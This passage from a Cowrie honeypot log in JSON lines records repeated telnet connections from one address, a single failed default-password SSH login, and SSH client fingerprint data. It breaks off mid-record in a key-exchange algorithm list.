{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":42368,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f2165e6ddca","protocol":"telnet","message":"New connection: 64.235.40.29:42368 (10.17.0.5:23) [session: 3f2165e6ddca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:08.432538Z"}
{"eventid":"cowrie.session.closed","duration":30.239119291305542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:09.041792Z","src_ip":"64.235.40.29","session":"e5f2e90d7d4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":42360,"dst_ip":"10.17.0.5","dst_port":23,"session":"af99c821faeb","protocol":"telnet","message":"New connection: 64.235.40.29:42360 (10.17.0.5:23) [session: af99c821faeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:09.392460Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":42370,"dst_ip":"10.17.0.5","dst_port":23,"session":"707488954e81","protocol":"telnet","message":"New connection: 64.235.40.29:42370 (10.17.0.5:23) [session: 707488954e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:09.443048Z"}
{"eventid":"cowrie.session.closed","duration":30.95487666130066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:10.040553Z","src_ip":"64.235.40.29","session":"615d543c5d83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":42386,"dst_ip":"10.17.0.5","dst_port":23,"session":"23a57969c4d9","protocol":"telnet","message":"New connection: 64.235.40.29:42386 (10.17.0.5:23) [session: 23a57969c4d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:10.304134Z"}
{"eventid":"cowrie.session.closed","duration":32.88886880874634,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:11.068845Z","src_ip":"64.235.40.29","session":"4eb637377eae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":42402,"dst_ip":"10.17.0.5","dst_port":23,"session":"04f47b87e70b","protocol":"telnet","message":"New connection: 64.235.40.29:42402 (10.17.0.5:23) [session: 04f47b87e70b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:11.902799Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":42418,"dst_ip":"10.17.0.5","dst_port":23,"session":"06c241918a76","protocol":"telnet","message":"New connection: 64.235.40.29:42418 (10.17.0.5:23) [session: 06c241918a76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:12.201831Z"}
{"eventid":"cowrie.session.closed","duration":30.893798351287842,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:12.249527Z","src_ip":"64.235.40.29","session":"f393079795fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":42434,"dst_ip":"10.17.0.5","dst_port":23,"session":"40929c5087fe","protocol":"telnet","message":"New connection: 64.235.40.29:42434 (10.17.0.5:23) [session: 40929c5087fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:12.358728Z"}
{"eventid":"cowrie.session.closed","duration":30.268247604370117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:13.058154Z","src_ip":"64.235.40.29","session":"107ff590c837","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.655438899993896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:13.092971Z","src_ip":"64.235.40.29","session":"1f5073a63313","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:13.345844Z","src_ip":"122.168.114.167","session":"3785e7cfb09c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":42442,"dst_ip":"10.17.0.5","dst_port":23,"session":"d13907493e5f","protocol":"telnet","message":"New connection: 64.235.40.29:42442 (10.17.0.5:23) [session: d13907493e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:13.459844Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":56544,"dst_ip":"10.17.0.5","dst_port":23,"session":"180aa2c634c6","protocol":"telnet","message":"New connection: 160.250.4.73:56544 (10.17.0.5:23) [session: 180aa2c634c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:13.951055Z"}
{"eventid":"cowrie.session.closed","duration":30.541885375976562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:15.241107Z","src_ip":"64.235.40.29","session":"be3a0602f1b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":54228,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7825d32ce18","protocol":"telnet","message":"New connection: 64.235.40.29:54228 (10.17.0.5:23) [session: f7825d32ce18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:15.428816Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":54230,"dst_ip":"10.17.0.5","dst_port":23,"session":"62a3fc7d271b","protocol":"telnet","message":"New connection: 64.235.40.29:54230 (10.17.0.5:23) [session: 62a3fc7d271b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:15.691189Z"}
{"eventid":"cowrie.session.closed","duration":30.94912886619568,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:17.185977Z","src_ip":"64.235.40.29","session":"c1c26ccaf50b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.648730993270874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:17.481185Z","src_ip":"64.235.40.29","session":"9753fb8be085","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":54238,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dae8b58c863","protocol":"telnet","message":"New connection: 64.235.40.29:54238 (10.17.0.5:23) [session: 8dae8b58c863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:17.846320Z"}
{"eventid":"cowrie.session.closed","duration":30.416887283325195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:18.119561Z","src_ip":"64.235.40.29","session":"cf3290f0ee75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":54260,"dst_ip":"10.17.0.5","dst_port":23,"session":"f65960000504","protocol":"telnet","message":"New connection: 64.235.40.29:54260 (10.17.0.5:23) [session: f65960000504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:18.992683Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":54268,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cdd4727bb70","protocol":"telnet","message":"New connection: 64.235.40.29:54268 (10.17.0.5:23) [session: 5cdd4727bb70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:19.084629Z"}
{"eventid":"cowrie.session.closed","duration":"28.4","message":"Connection lost after 28.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:19.170893Z","src_ip":"122.168.114.167","session":"3785e7cfb09c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":54250,"dst_ip":"10.17.0.5","dst_port":23,"session":"8becd57341c1","protocol":"telnet","message":"New connection: 64.235.40.29:54250 (10.17.0.5:23) [session: 8becd57341c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:19.680676Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":54278,"dst_ip":"10.17.0.5","dst_port":23,"session":"145d108c4819","protocol":"telnet","message":"New connection: 64.235.40.29:54278 (10.17.0.5:23) [session: 145d108c4819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:19.857924Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":54294,"dst_ip":"10.17.0.5","dst_port":23,"session":"55a7a2a657fc","protocol":"telnet","message":"New connection: 64.235.40.29:54294 (10.17.0.5:23) [session: 55a7a2a657fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:21.345209Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":54280,"dst_ip":"10.17.0.5","dst_port":23,"session":"87be1a63530b","protocol":"telnet","message":"New connection: 64.235.40.29:54280 (10.17.0.5:23) [session: 87be1a63530b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:21.632741Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":54308,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b36d1bb2b89","protocol":"telnet","message":"New connection: 64.235.40.29:54308 (10.17.0.5:23) [session: 6b36d1bb2b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:22.534921Z"}
{"eventid":"cowrie.session.closed","duration":31.057901859283447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:23.038131Z","src_ip":"64.235.40.29","session":"4b77b8aaf870","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69569683074951,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:23.046519Z","src_ip":"64.235.40.29","session":"7e8d9ae6e738","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":54312,"dst_ip":"10.17.0.5","dst_port":23,"session":"4457f0292e85","protocol":"telnet","message":"New connection: 64.235.40.29:54312 (10.17.0.5:23) [session: 4457f0292e85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:24.101505Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48618,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb423f8dadf2","protocol":"telnet","message":"New connection: 64.235.40.29:48618 (10.17.0.5:23) [session: fb423f8dadf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:25.139559Z"}
{"eventid":"cowrie.session.closed","duration":30.966153144836426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:25.177443Z","src_ip":"64.235.40.29","session":"ccb17d3faaf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48628,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ddc638f328b","protocol":"telnet","message":"New connection: 64.235.40.29:48628 (10.17.0.5:23) [session: 5ddc638f328b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:25.980247Z"}
{"eventid":"cowrie.session.closed","duration":30.588050842285156,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:26.081884Z","src_ip":"64.235.40.29","session":"a98b10897749","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.771082639694214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:26.095596Z","src_ip":"64.235.40.29","session":"35adb8dcc9c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.842846632003784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:27.097885Z","src_ip":"64.235.40.29","session":"356debec8baf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48636,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd6286ccc4ad","protocol":"telnet","message":"New connection: 64.235.40.29:48636 (10.17.0.5:23) [session: bd6286ccc4ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:27.178618Z"}
{"eventid":"cowrie.session.closed","duration":30.605851411819458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:28.077942Z","src_ip":"64.235.40.29","session":"a008f5fd317d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48648,"dst_ip":"10.17.0.5","dst_port":23,"session":"44b158691bde","protocol":"telnet","message":"New connection: 64.235.40.29:48648 (10.17.0.5:23) [session: 44b158691bde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:28.096649Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48654,"dst_ip":"10.17.0.5","dst_port":23,"session":"b12a29df0663","protocol":"telnet","message":"New connection: 64.235.40.29:48654 (10.17.0.5:23) [session: b12a29df0663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:28.336493Z"}
{"eventid":"cowrie.session.closed","duration":31.084508657455444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:29.318738Z","src_ip":"64.235.40.29","session":"c6c6ae84696d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48666,"dst_ip":"10.17.0.5","dst_port":23,"session":"d78c65eefab3","protocol":"telnet","message":"New connection: 64.235.40.29:48666 (10.17.0.5:23) [session: d78c65eefab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:29.347770Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":40950,"dst_ip":"159.203.135.109","dst_port":22,"session":"09423389ebfc","protocol":"ssh","message":"New connection: 122.168.114.167:40950 (159.203.135.109:22) [session: 09423389ebfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:29.500369Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48680,"dst_ip":"10.17.0.5","dst_port":23,"session":"291e13135010","protocol":"telnet","message":"New connection: 64.235.40.29:48680 (10.17.0.5:23) [session: 291e13135010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:30.231270Z"}
{"eventid":"cowrie.session.closed","duration":30.208585739135742,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:31.060935Z","src_ip":"64.235.40.29","session":"b9794da03a03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48696,"dst_ip":"10.17.0.5","dst_port":23,"session":"47ccc538398c","protocol":"telnet","message":"New connection: 64.235.40.29:48696 (10.17.0.5:23) [session: 47ccc538398c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:31.195303Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48712,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2b6fc0aef26","protocol":"telnet","message":"New connection: 64.235.40.29:48712 (10.17.0.5:23) [session: d2b6fc0aef26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:31.343439Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48722,"dst_ip":"10.17.0.5","dst_port":23,"session":"31fab2d0652a","protocol":"telnet","message":"New connection: 64.235.40.29:48722 (10.17.0.5:23) [session: 31fab2d0652a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:31.365046Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48728,"dst_ip":"10.17.0.5","dst_port":23,"session":"b14a656e2e00","protocol":"telnet","message":"New connection: 64.235.40.29:48728 (10.17.0.5:23) [session: b14a656e2e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:31.568068Z"}
{"eventid":"cowrie.session.closed","duration":30.97272562980652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:31.819818Z","src_ip":"64.235.40.29","session":"97ce60d2ffdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.809341430664062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:32.124320Z","src_ip":"64.235.40.29","session":"36cbf2ef8905","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":56950,"dst_ip":"159.203.135.109","dst_port":23,"session":"db99589af626","protocol":"telnet","message":"New connection: 62.171.135.55:56950 (159.203.135.109:23) [session: db99589af626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:32.604688Z"}
{"eventid":"cowrie.session.closed","duration":30.423433780670166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:33.047164Z","src_ip":"64.235.40.29","session":"ffcd7bd07d27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48730,"dst_ip":"10.17.0.5","dst_port":23,"session":"4895a21a159f","protocol":"telnet","message":"New connection: 64.235.40.29:48730 (10.17.0.5:23) [session: 4895a21a159f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:33.119813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:33.697154Z","src_ip":"122.168.114.167","session":"09423389ebfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:33.701577Z","src_ip":"122.168.114.167","session":"09423389ebfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":48736,"dst_ip":"10.17.0.5","dst_port":23,"session":"b39a1ee3790e","protocol":"telnet","message":"New connection: 64.235.40.29:48736 (10.17.0.5:23) [session: b39a1ee3790e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:34.058235Z"}
{"eventid":"cowrie.session.closed","duration":30.72079062461853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:34.383189Z","src_ip":"64.235.40.29","session":"ea05131ee768","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35420,"dst_ip":"10.17.0.5","dst_port":23,"session":"270cc180014a","protocol":"telnet","message":"New connection: 64.235.40.29:35420 (10.17.0.5:23) [session: 270cc180014a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:35.284731Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35424,"dst_ip":"10.17.0.5","dst_port":23,"session":"70c272b5d9da","protocol":"telnet","message":"New connection: 64.235.40.29:35424 (10.17.0.5:23) [session: 70c272b5d9da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:35.982424Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35426,"dst_ip":"10.17.0.5","dst_port":23,"session":"22a5df9f8d6b","protocol":"telnet","message":"New connection: 64.235.40.29:35426 (10.17.0.5:23) [session: 22a5df9f8d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:36.155324Z"}
{"eventid":"cowrie.session.closed","duration":30.74647569656372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:36.198554Z","src_ip":"135.148.33.217","session":"1efe57ca83a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35452,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb766bc1bf03","protocol":"telnet","message":"New connection: 64.235.40.29:35452 (10.17.0.5:23) [session: cb766bc1bf03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:37.033669Z"}
{"eventid":"cowrie.session.closed","duration":30.52105712890625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:37.065772Z","src_ip":"64.235.40.29","session":"dd0f91421e5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":47416,"dst_ip":"10.17.0.5","dst_port":23,"session":"c73d1cb1346a","protocol":"telnet","message":"New connection: 160.250.4.73:47416 (10.17.0.5:23) [session: c73d1cb1346a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:37.070064Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55302,"dst_ip":"159.203.135.109","dst_port":22,"session":"acfa716a2ecf","protocol":"ssh","message":"New connection: 159.203.92.129:55302 (159.203.135.109:22) [session: acfa716a2ecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:37.600656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:52:37.604685Z","src_ip":"159.203.92.129","session":"acfa716a2ecf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","e